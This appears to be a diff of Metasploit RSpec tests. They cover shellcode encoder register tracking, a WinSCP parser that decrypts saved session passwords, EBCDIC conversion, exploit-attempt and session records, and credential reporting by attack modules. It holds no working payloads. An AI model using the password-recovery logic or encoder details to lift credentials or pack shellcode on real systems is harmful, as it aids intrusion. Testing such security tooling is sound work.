expect(modified_registers).to include(Rex::Arch::X86::EBX)
end
it "marks EDX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EDX)
end
end
context "when offset is 5" do
let(:reg) { 'EDX' }
let(:offset) { 5 }
let(:modified_registers) { [] }
it "marks ECX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::ECX)
end
it "marks EBX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EBX)
end
it "marks EDX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EDX)
end
end
context "when offset is 0" do
let(:reg) { 'EDX' }
let(:offset) { 0 }
let(:modified_registers) { [] }
it "marks ECX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::ECX)
end
it "doesn't mark EBX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to_not include(Rex::Arch::X86::EBX)
end
it "marks EDX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EDX)
end
end
context "when offset is 15" do
let(:reg) { 'EDX' }
let(:offset) { 15 }
let(:modified_registers) { [] }
it "marks ECX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::ECX)
end
it "marks EBX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EBX)
end
it "marks EDX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EDX)
end
end
end
end
end
@ -83,6 +257,28 @@ describe Rex::Encoder::Alpha2::AlphaMixed do
expect { decoder }.to raise_error
end
end
end
context "when modified_registers passed" do
let(:modified_registers) { [] }
it "marks EDX as modified" do
described_class.gen_decoder(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EDX)
end
it "marks ECX as modified" do
described_class.gen_decoder(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::ECX)
end
it "marks EAX as modified" do
described_class.gen_decoder(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EAX)
end
it "marks ESP as modified" do
described_class.gen_decoder(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::ESP)
end
end
end
end

View File

@ -56,6 +56,180 @@ describe Rex::Encoder::Alpha2::AlphaUpper do
expect { decoder_prefix }.to raise_error
end
end
context "when modified_registers is passed" do
context "when reg is ECX" do
context "when offset is 10" do
let(:reg) { 'ECX' }
let(:offset) { 10 }
let(:modified_registers) { [] }
it "marks ECX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::ECX)
end
it "marks EBX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EBX)
end
it "marks EDX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EDX)
end
end
context "when offset is 5" do
let(:reg) { 'ECX' }
let(:offset) { 5 }
let(:modified_registers) { [] }
it "marks ECX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::ECX)
end
it "marks EBX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EBX)
end
it "marks EDX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EDX)
end
end
context "when offset is 0" do
let(:reg) { 'ECX' }
let(:offset) { 0 }
let(:modified_registers) { [] }
it "marks ECX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::ECX)
end
it "doesn't mark EBX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to_not include(Rex::Arch::X86::EBX)
end
it "marks EDX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EDX)
end
end
context "when offset is 15" do
let(:reg) { 'ECX' }
let(:offset) { 15 }
let(:modified_registers) { [] }
it "marks ECX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::ECX)
end
it "marks EBX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EBX)
end
it "marks EDX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EDX)
end
end
end
context "when reg is EDX" do
context "when offset is 10" do
let(:reg) { 'EDX' }
let(:offset) { 10 }
let(:modified_registers) { [] }
it "marks ECX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::ECX)
end
it "marks EBX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EBX)
end
it "marks EDX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EDX)
end
end
context "when offset is 5" do
let(:reg) { 'EDX' }
let(:offset) { 5 }
let(:modified_registers) { [] }
it "marks ECX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::ECX)
end
it "marks EBX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EBX)
end
it "marks EDX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EDX)
end
end
context "when offset is 0" do
let(:reg) { 'EDX' }
let(:offset) { 0 }
let(:modified_registers) { [] }
it "marks ECX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::ECX)
end
it "doesn't mark EBX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to_not include(Rex::Arch::X86::EBX)
end
it "marks EDX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EDX)
end
end
context "when offset is 15" do
let(:reg) { 'EDX' }
let(:offset) { 15 }
let(:modified_registers) { [] }
it "marks ECX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::ECX)
end
it "marks EBX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EBX)
end
it "marks EDX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EDX)
end
end
end
end
end
@ -89,6 +263,34 @@ describe Rex::Encoder::Alpha2::AlphaUpper do
expect { decoder }.to raise_error
end
end
context "when modified_registers passed" do
let(:modified_registers) { [] }
it "marks EDX as modified" do
described_class.gen_decoder(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EDX)
end
it "marks ECX as modified" do
described_class.gen_decoder(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::ECX)
end
it "marks ESI as modified" do
described_class.gen_decoder(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::ESI)
end
it "marks EAX as modified" do
described_class.gen_decoder(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EAX)
end
it "marks ESP as modified" do
described_class.gen_decoder(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::ESP)
end
end
end
end

View File

@ -0,0 +1,98 @@
require 'rex/parser/winscp'
INI_SECURITY = "[Configuration\\Security]\nUseMasterPassword=1\nMasterPasswordVerifier=\n"
USERNAME = 'username'
HOST = 'server.feralhosting.com'
PASSWORD='A35C7659654B2AB83C292F392E323D31392F392E2A392E723A392E3D3034332F2835323B723F33312F383A2F383A3B2F3B3B3B'
SAMPLE_INI = <<-END
[Sessions\\username@server.feralhosting.com]
HostName=#{HOST}
Timeout=6000
SshProt=3
UserName=#{USERNAME}
UpdateDirectories=0
Utf=1
Password=#{PASSWORD}
Shell=/bin/bash}
END
describe Rex::Parser::WinSCP do
let(:target) do
d = Class.new { include Rex::Parser::WinSCP }
d.new
end
context "#parse_protocol" do
it "returns 'Unknown' for unknown protocols" do
expect(target.parse_protocol(nil)).to eq('Unknown')
expect(target.parse_protocol(99)).to eq('Unknown')
expect(target.parse_protocol('stuff')).to eq('Unknown')
end
it "returns 'SSH' for protocol 0" do
expect(target.parse_protocol(0)).to eq('SSH')
end
it "returns 'FTP' for protocol 5" do
expect(target.parse_protocol(5)).to eq('FTP')
end
end
context "#decrypt_next_char" do
it "returns 0 and the pwd if pwd length <= 0" do
r, pwd = target.decrypt_next_char('')
expect(r).to eq(0)
expect(pwd).to eq('')
end
it "strips the first two characters from the return value" do
_, pwd = target.decrypt_next_char('A3')
expect(pwd).to eq('')
end
it "returns 255 for 'A3'" do
r, _ = target.decrypt_next_char('A3')
expect(r).to eq(Rex::Parser::WinSCP::PWDALG_SIMPLE_FLAG)
end
end
context "#decrypt_password" do
it "returns 'sdfsdfgsggg' for the example password" do
expect(target.decrypt_password(PASSWORD, "#{USERNAME}#{HOST}")).to eq('sdfsdfgsggg')
end
end
context "#parse_ini" do
it "raises a RuntimeError if ini is nil or empty" do
expect { target.parse_ini('') }.to raise_error(RuntimeError, /No data/i)
expect { target.parse_ini(nil) }.to raise_error(RuntimeError, /No data/i)
end
it "raises a RuntimeError if UseMasterPassword is 1" do
expect { target.parse_ini(INI_SECURITY) }.to raise_error(RuntimeError, /Master/i)
end
it "parses the example ini" do
r = target.parse_ini(SAMPLE_INI).first
expect(r[:hostname]).to eq(HOST)
expect(r[:password]).to eq('sdfsdfgsggg')
expect(r[:username]).to eq(USERNAME)
expect(r[:protocol]).to eq('SSH')
expect(r[:portnumber]).to eq(22)
end
end
context "#read_and_parse_ini" do
it "returns nil if file is empty or doesn't exist" do
File.stub(:read).and_return(nil)
expect(target.read_and_parse_ini('blah')).to be nil
end
it "parses the example ini and return a single result" do
File.stub(:read).and_return(SAMPLE_INI)
expect(target.read_and_parse_ini(SAMPLE_INI).count).to eq 1
end
end
end

View File

@ -22,6 +22,20 @@ describe Rex::Text do
end
end
context ".to_ibm1047" do
it "should convert ASCII to mainfram EBCDIC (cp1047)" do
described_class.to_ibm1047(%q[^[](){}%!$#1234567890abcde'"`~]).should
eq("_\xAD\xBDM]\xC0\xD0lZ[{\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8\xF9\xF0\x81\x82\x83\x84\x85}\x7Fy\xA1")
end
end
context ".from_1047" do
it "should convert mainframe EBCDIC (cp1047) to ASCII (ISO-8859-1)" do
described_class.from_ibm1047(%q[^[](){}%!$#1234567890abcde'"`~]).should
eq(";$)\x88\x89#'\x85\x81\x84\x83\x91\x16\x93\x94\x95\x96\x04\x98\x99\x90/\xC2\xC4\xC0\xC1\e\x82-=")
end
end
context ".to_utf8" do
it "should convert a string to UTF-8, skipping badchars" do
described_class.to_utf8("Hello, world!").should eq("Hello, world!")

View File

@ -4,51 +4,437 @@ shared_examples_for 'Msf::DBManager::ExploitAttempt' do
it { is_expected.to respond_to :report_exploit_failure }
it { is_expected.to respond_to :report_exploit_success }
describe '#report_exploit_success' do
subject(:report_exploit_success) do
db_manager.report_exploit_success(opts)
describe '#report_exploit_failure' do
subject(:report_exploit_failure) do
db_manager.report_exploit_failure(opts)
end
let(:run) do
match
FactoryGirl.create(:automatic_exploitation_run, user: workspace.owner,workspace:workspace, match_set_id: match_set.id)
end
let(:match_set) do
FactoryGirl.create(:automatic_exploitation_match_set, user: workspace.owner,workspace:workspace)
end
let(:match) do
FactoryGirl.create(:automatic_exploitation_match,
match_set_id: match_set.id,
matchable_id:vuln_with_match.id,
matchable_type: "Mdm::Vuln"
)
end
let(:vuln_with_match) do
FactoryGirl.create(:mdm_vuln)
end
let(:host) do
FactoryGirl.create(:mdm_host, workspace:workspace)
end
let(:workspace) do
FactoryGirl.create(:mdm_workspace)
end
let(:refs) do
[ FactoryGirl.create(:mdm_ref) ]
end
context "with a run" do
let(:opts) do
{
workspace: workspace,
refs: refs,
host: host,
vuln: vuln_with_match,
run_id: run.id
}
end
context 'with a vuln' do
specify do
expect {
report_exploit_failure
}.to change(Mdm::VulnAttempt,:count).by(1)
end
it "should create a match result" do
expect {
report_exploit_failure
}.to change(MetasploitDataModels::AutomaticExploitation::MatchResult,:count).by(1)
end
it "should create a match result with state FAILED" do
report_exploit_failure
expect(
MetasploitDataModels::AutomaticExploitation::MatchResult.where(
match_id: match.id,
state: MetasploitDataModels::AutomaticExploitation::MatchResult::FAILED
)
).to exist
end
context "calling report_exploit_success" do
after(:each) do
report_exploit_failure
end
it "should call create_match_result_for_vuln" do
db_manager.should_receive(:create_match_result_for_vuln)
end
it "should call create_match_result" do
db_manager.should_receive(:create_match_result)
end
it "should not call create_match_for_vuln" do
db_manager.should_not_receive(:create_match_for_vuln)
end
end
end
context 'without a vuln' do
let(:vuln_with_match) { nil }
let(:match) {nil}
specify do
expect {
report_exploit_failure
}.not_to change(Mdm::VulnAttempt, :count)
end
it "should not create a match result" do
expect {
report_exploit_failure
}.to change(MetasploitDataModels::AutomaticExploitation::MatchResult,:count).by(0)
end
context "calling report_exploit_success" do
after(:each) do
report_exploit_failure
end
it "should not call create_match_result_for_vuln" do
db_manager.should_not_receive(:create_match_result_for_vuln)
end
it "should not call create_match_result" do
db_manager.should_not_receive(:create_match_result)
end
it "should not call create_run_for_vuln" do
db_manager.should_not_receive(:create_run_for_vuln)
end
end
end
end
context "without a run" do
let(:vuln) do
FactoryGirl.create(:mdm_vuln)
end
let(:opts) do
{
workspace: workspace,
refs: refs,
host: host,
vuln: vuln,
}
end
context 'with a vuln' do
specify do
expect {
report_exploit_failure
}.to change(Mdm::VulnAttempt,:count).by(1)
end
it "should not create a match result" do
expect {
report_exploit_failure
}.to change(MetasploitDataModels::AutomaticExploitation::MatchResult,:count).by(0)
end
context "calling report_exploit_success" do
after(:each) do
report_exploit_failure
end
it "should call create_match_result_for_vuln" do
db_manager.should_receive(:create_match_result_for_vuln)
end
it "should not call create_match_result" do
db_manager.should_not_receive(:create_match_result)
end
it "should not call create_match_for_vuln" do
db_manager.should_not_receive(:create_match_for_vuln)
end
end
end
context 'without a vuln' do
let(:vuln) { nil }
specify do
expect {
report_exploit_failure
}.not_to change(Mdm::VulnAttempt, :count)
end
it "should not create a match result" do
expect {
report_exploit_failure
}.to change(MetasploitDataModels::AutomaticExploitation::MatchResult,:count).by(0)
end
context "calling report_exploit_success" do
after(:each) do
report_exploit_failure
end
it "should not call create_match_result_for_vuln" do
db_manager.should_not_receive(:create_match_result_for_vuln)
end
it "should not call create_match_result" do
db_manager.should_not_receive(:create_match_result)
end
it "should not call create_run_for_vuln" do
db_manager.should_not_receive(:create_match_for_vuln)
end
end
end
end
end
describe '#report_exploit_success' do
subject(:report_exploit_success) do
db_manager.report_exploit_success(opts)
end
let(:session_id) do
FactoryGirl.create(:session, host: host).id
end
let(:run) do
match
FactoryGirl.create(:automatic_exploitation_run, user: workspace.owner,workspace:workspace, match_set_id: match_set.id)
end
let(:match_set) do
FactoryGirl.create(:automatic_exploitation_match_set, user: workspace.owner,workspace:workspace)
end
let(:match) do
FactoryGirl.create(:automatic_exploitation_match,
match_set_id: match_set.id,
matchable_id:vuln_with_match.id,
matchable_type: "Mdm::Vuln"
)
end
let(:vuln_with_match) do
FactoryGirl.create(:mdm_vuln)
end
let(:host) do
FactoryGirl.create(:mdm_host, workspace: workspace)
FactoryGirl.create(:mdm_host, workspace:workspace)
end
let(:workspace) do
FactoryGirl.create(:mdm_workspace)
end
let(:refs) do
[ FactoryGirl.create(:mdm_ref) ]
end
let(:vuln) do
FactoryGirl.create(:mdm_vuln)
end
context "with a run" do
let(:opts) do
{
workspace: workspace,
refs: refs,
host: host,
vuln: vuln_with_match,
run_id: run.id,
session_id: session_id
}
end
let(:opts) do
{
workspace: workspace,
refs: refs,
host: host,
vuln: vuln,
}
end
context 'with a vuln' do
specify do
expect {
report_exploit_success
}.to change(Mdm::VulnAttempt,:count).by(1)
end
context 'with a vuln' do
specify do
expect {
it "should create a match result" do
expect {
report_exploit_success
}.to change(MetasploitDataModels::AutomaticExploitation::MatchResult,:count).by(1)
end
it "should create a match result with state SUCCEEDED" do
report_exploit_success
}.to change(Mdm::VulnAttempt,:count).by(1)
expect(
MetasploitDataModels::AutomaticExploitation::MatchResult.where(
match_id: match.id,
state: MetasploitDataModels::AutomaticExploitation::MatchResult::SUCCEEDED
)
).to exist
end
context "calling report_exploit_success" do
after(:each) do
report_exploit_success
end
it "should call create_match_result_for_vuln" do
db_manager.should_receive(:create_match_result_for_vuln)
end
it "should call create_match_result" do
db_manager.should_receive(:create_match_result)
end
it "should not call create_match_for_vuln" do
db_manager.should_not_receive(:create_match_for_vuln)
end
end
end
context 'without a run' do
let(:vuln_with_match) { nil }
let(:match) {nil}
specify do
expect {
report_exploit_success
}.not_to change(Mdm::VulnAttempt, :count)
end
it "should not create a match result" do
expect {
report_exploit_success
}.to change(MetasploitDataModels::AutomaticExploitation::MatchResult,:count).by(0)
end
context "calling report_exploit_success" do
after(:each) do
report_exploit_success
end
it "should not call create_match_result_for_vuln" do
db_manager.should_not_receive(:create_match_result_for_vuln)
end
it "should not call create_match_result" do
db_manager.should_not_receive(:create_match_result)
end
it "should not call create_match_for_vuln" do
db_manager.should_not_receive(:create_match_for_vuln)
end
end
end
end
context 'without a vuln' do
let(:vuln) { nil }
context "without a run" do
let(:vuln) do
FactoryGirl.create(:mdm_vuln)
end
let(:opts) do
{
workspace: workspace,
refs: refs,
host: host,
vuln: vuln,
}
end
context 'with a vuln' do
specify do
expect {
report_exploit_success
}.to change(Mdm::VulnAttempt,:count).by(1)
end
it "should not create a match result" do
expect {
report_exploit_success
}.to change(MetasploitDataModels::AutomaticExploitation::MatchResult,:count).by(0)
end
context "calling report_exploit_success" do
after(:each) do
report_exploit_success
end
it "should call create_match_result_for_vuln" do
db_manager.should_receive(:create_match_result_for_vuln)
end
it "should not call create_match_result" do
db_manager.should_not_receive(:create_match_result)
end
it "should not call create_match_for_vuln" do
db_manager.should_not_receive(:create_match_for_vuln)
end
end
end
context 'without a vuln' do
let(:vuln) { nil }
specify do
expect {
report_exploit_success
}.not_to change(Mdm::VulnAttempt, :count)
end
it "should not create a match result" do
expect {
report_exploit_success
}.to change(MetasploitDataModels::AutomaticExploitation::MatchResult,:count).by(0)
end
context "calling report_exploit_success" do
after(:each) do
report_exploit_success
end
it "should not call create_match_result_for_vuln" do
db_manager.should_not_receive(:create_match_result_for_vuln)
end
it "should not call create_match_result" do
db_manager.should_not_receive(:create_match_result)
end
it "should not call create_match_for_vuln" do
db_manager.should_not_receive(:create_match_for_vuln)
end
end
specify do
expect {
report_exploit_success
}.not_to change(Mdm::VulnAttempt, :count)
end
end

View File

@ -46,7 +46,6 @@ shared_examples_for 'Msf::DBManager::Session' do
framework: framework,
name: name
)
allow(d).to receive(:user_data_is_match?).and_return(false)
d
end
@ -122,37 +121,362 @@ shared_examples_for 'Msf::DBManager::Session' do
)
end
context 'with a match in user_data' do
let(:vuln) do
FactoryGirl.create(:mdm_vuln,
name: parent_module_name,
host: host)
context 'with a run_id in user_data' do
before(:each) do
MetasploitDataModels::AutomaticExploitation::MatchSet.any_instance.stub(:create_match_for_vuln).and_return(nil)
end
let(:match_set) do
FactoryGirl.create(:automatic_exploitation_match_set, user: session_workspace.owner,workspace:session_workspace)
end
let(:run) do
FactoryGirl.create(:automatic_exploitation_run, workspace: session_workspace, match_set_id: match_set.id)
end
let(:user_data) do
{
match: FactoryGirl.build(:automatic_exploitation_match, matchable: vuln),
match_set: FactoryGirl.build(:automatic_exploitation_match_set),
run: FactoryGirl.build(:automatic_exploitation_run, workspace: session_workspace),
run_id: run.id
}
end
before do
allow(module_instance).to receive(:user_data_is_match?).and_return(true)
context 'with :workspace' do
before(:each) do
options[:workspace] = options_workspace
end
it 'should not find workspace from session' do
db_manager.should_not_receive(:find_workspace)
expect { report_session }.to change(Mdm::Vuln, :count).by(1)
end
end
it 'should make a MatchResult' do
expect {
context 'without :workspace' do
it 'should find workspace from session' do
db_manager.should_receive(:find_workspace).with(session.workspace).and_call_original
report_session
}.to change(MetasploitDataModels::AutomaticExploitation::MatchResult, :count).by(1)
end
it 'should pass session.workspace to #find_or_create_host' do
db_manager.should_receive(:find_or_create_host).with(
hash_including(
:workspace => session_workspace
)
).and_return(host)
expect { report_session }.to change(Mdm::Vuln, :count).by(1)
end
end
it 'should not increase the host count' do
expect { report_session }.not_to change(Mdm::Host, :count)
end
context 'with workspace from either :workspace or session' do
it 'should pass normalized host from session as :host to #find_or_create_host' do
normalized_host = double('Normalized Host')
db_manager.stub(:normalize_host).with(session).and_return(normalized_host)
# stub report_vuln so its use of find_or_create_host and normalize_host doesn't interfere.
db_manager.stub(:report_vuln)
it 'should not increase the vuln count' do
expect { report_session }.not_to change(Mdm::Vuln, :count)
db_manager.should_receive(:find_or_create_host).with(
hash_including(
:host => normalized_host
)
).and_return(host)
report_session
end
context 'with session responds to arch' do
let(:arch) do
FactoryGirl.generate :mdm_host_arch
end
before(:each) do
session.stub(:arch => arch)
end
it 'should pass :arch to #find_or_create_host' do
db_manager.should_receive(:find_or_create_host).with(
hash_including(
:arch => arch
)
).and_call_original
expect { report_session }.to change(Mdm::Vuln, :count).by(1)
end
end
context 'without session responds to arch' do
it 'should not pass :arch to #find_or_create_host' do
db_manager.should_receive(:find_or_create_host).with(
hash_excluding(
:arch
)
).and_call_original
expect { report_session }.to change(Mdm::Vuln, :count).by(1)
end
end
it 'should create an Mdm::Session' do
expect {
report_session
}.to change(Mdm::Session, :count).by(1)
end
it { should be_an Mdm::Session }
it 'should set session.db_record to created Mdm::Session' do
mdm_session = report_session
session.db_record.should == mdm_session
end
context 'with session.via_exploit' do
it 'should create Mdm::Vuln' do
expect {
report_session
}.to change(Mdm::Vuln, :count).by(1)
end
context 'created Mdm::Vuln' do
let(:mdm_session) do
Mdm::Session.last
end
let(:rport) do
nil
end
before(:each) do
Timecop.freeze
session.exploit_datastore['RPORT'] = rport
report_session
end
after(:each) do
Timecop.return
end
subject(:vuln) do
Mdm::Vuln.last
end
it { expect(subject.host).to eq(Mdm::Host.last) }
it { expect(subject.refs).to eq([]) }
it { expect(subject.exploited_at).to be_within(1.second).of(Time.now.utc) }
context "with session.via_exploit 'exploit/multi/handler'" do
context "with session.exploit_datastore['ParentModule']" do
it { expect(subject.info).to eq("Exploited by #{parent_module_fullname} to create Session #{mdm_session.id}") }
it { expect(subject.name).to eq(parent_module_name) }
end
end
context "without session.via_exploit 'exploit/multi/handler'" do
let(:reference_name) do
'windows/smb/ms08_067_netapi'
end
before(:each) do
path = File.join(
parent_path,
'exploits',
"#{reference_name}.rb"
)
type = 'exploit'
# fake cache data for ParentModule so it can be loaded
framework.modules.send(
:module_info_by_path=,
{
path =>
{
:parent_path => parent_path,
:reference_name => reference_name,
:type => type,
}
}
)
session.via_exploit = "#{type}/#{reference_name}"
end
it { expect(subject.info).to eq("Exploited by #{session.via_exploit} to create Session #{mdm_session.id}") }
it { expect(subject.name).to eq(reference_name) }
end
context 'with RPORT' do
let(:rport) do
# use service.port instead of having service use rport so
# that service is forced to exist before call to
# report_service, which happens right after using rport in
# outer context's before(:each)
service.port
end
let(:service) do
FactoryGirl.create(
:mdm_service,
:host => host
)
end
it { expect(subject.service).to eq(service) }
end
context 'without RPORT' do
it { expect(subject.service).to be_nil }
end
end
context 'created Mdm::ExploitAttempt' do
let(:rport) do
nil
end
before(:each) do
Timecop.freeze
session.exploit_datastore['RPORT'] = rport
report_session
end
after(:each) do
Timecop.return
end
subject(:exploit_attempt) do
Mdm::ExploitAttempt.last
end
it { expect(subject.attempted_at).to be_within(1.second).of(Time.now.utc) }
# @todo https://www.pivotaltracker.com/story/show/48362615
it { expect(subject.session_id).to eq(Mdm::Session.last.id) }
it { expect(subject.exploited).to be_truthy }
# @todo https://www.pivotaltracker.com/story/show/48362615
it { expect(subject.vuln_id).to eq(Mdm::Vuln.last.id) }
context "with session.via_exploit 'exploit/multi/handler'" do
context "with session.datastore['ParentModule']" do
it { expect(subject.module).to eq(parent_module_fullname) }
end
end
context "without session.via_exploit 'exploit/multi/handler'" do
before(:each) do
session.via_exploit = parent_module_fullname
end
it { expect(subject.module).to eq(session.via_exploit) }
end
end
end
context 'returned Mdm::Session' do
before(:each) do
Timecop.freeze
end
after(:each) do
Timecop.return
end
subject(:mdm_session) do
report_session
end
#
# Ensure session has attributes present so its on mdm_session are
# not just comparing nils.
#
it 'should have session.info present' do
session.info.should be_present
end
it 'should have session.sid present' do
session.sid.should be_present
end
it 'should have session.platform present' do
session.platform.should be_present
end
it 'should have session.type present' do
session.type.should be_present
end
it 'should have session.via_exploit present' do
session.via_exploit.should be_present
end
it 'should have session.via_payload present' do
session.via_exploit.should be_present
end
it { expect(subject.datastore).to eq(session.exploit_datastore.to_h) }
it { expect(subject.desc).to eq(session.info) }
it { expect(subject.host_id).to eq(Mdm::Host.last.id) }
it { expect(subject.last_seen).to be_within(1.second).of(Time.now.utc) }
it { expect(subject.local_id).to eq(session.sid) }
it { expect(subject.opened_at).to be_within(1.second).of(Time.now.utc) }
it { expect(subject.platform).to eq(session.platform) }
it { expect(subject.routes).to eq([]) }
it { expect(subject.stype).to eq(session.type) }
it { expect(subject.via_payload).to eq(session.via_payload) }
context "with session.via_exploit 'exploit/multi/handler'" do
it "should have session.via_exploit of 'exploit/multi/handler'" do
session.via_exploit.should == 'exploit/multi/handler'
end
context "with session.exploit_datastore['ParentModule']" do
it "should have session.exploit_datastore['ParentModule']" do
session.exploit_datastore['ParentModule'].should_not be_nil
end
it { expect(subject.via_exploit).to eq(parent_module_fullname) }
end
end
context "without session.via_exploit 'exploit/multi/handler'" do
before(:each) do
reference_name = 'windows/smb/ms08_067_netapi'
path = File.join(
parent_path,
'exploits',
"#{reference_name}.rb"
)
type = 'exploit'
# fake cache data for ParentModule so it can be loaded
framework.modules.send(
:module_info_by_path=,
{
path =>
{
:parent_path => parent_path,
:reference_name => reference_name,
:type => type,
}
}
)
session.via_exploit = "#{type}/#{reference_name}"
end
it "should not have session.via_exploit of 'exploit/multi/handler'" do
session.via_exploit.should_not == 'exploit/multi/handler'
end
it { expect(subject.via_exploit).to eq(session.via_exploit) }
end
end
end
end

View File

@ -359,7 +359,126 @@ class Metasploit3 < Msf::Auxiliary
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'sap', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
end
def test_mount_cifs_creds
mod = framework.post.create('linux/gather/mount_cifs_creds')
mock_post_mod_session(mod)
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'smb', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
end
def test_mysql_enum
mod = framework.auxiliary.create('admin/mysql/mysql_enum')
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'mysql', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
end
def test_jtr_oracle_fast
mod = framework.auxiliary.create('analyze/jtr_oracle_fast')
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'oracle', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
end
def test_vbulletin_vote_sqli_exec
mod = framework.exploits.create('unix/webapp/vbulletin_vote_sqli_exec')
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
end
def test_sap_mgmt_con_brute_login
mod = framework.auxiliary.create('scanner/sap/sap_mgmt_con_brute_login')
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
end
def test_sap_ctc_verb_tampering_user_mgmt
mod = framework.auxiliary.create('scanner/sap/sap_ctc_verb_tampering_user_mgmt')
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
end
def test_scanner_oracle_login
mod = framework.auxiliary.create('scanner/oracle/oracle_login')
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'tcp', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF, status: Metasploit::Model::Login::Status::SUCCESSFUL)
end
def test_isqlplus_login
mod = framework.auxiliary.create('scanner/oracle/isqlplus_login')
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'tcp', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
end
def test_dvr_config_disclosure
mod = framework.auxiliary.create('scanner/misc/dvr_config_disclosure')
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
end
def test_lotus_domino_login
mod = framework.auxiliary.create('scanner/lotus/lotus_domino_login')
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
end
def test_openmind_messageos_login
mod = framework.auxiliary.create('scanner/http/openmind_messageos_login')
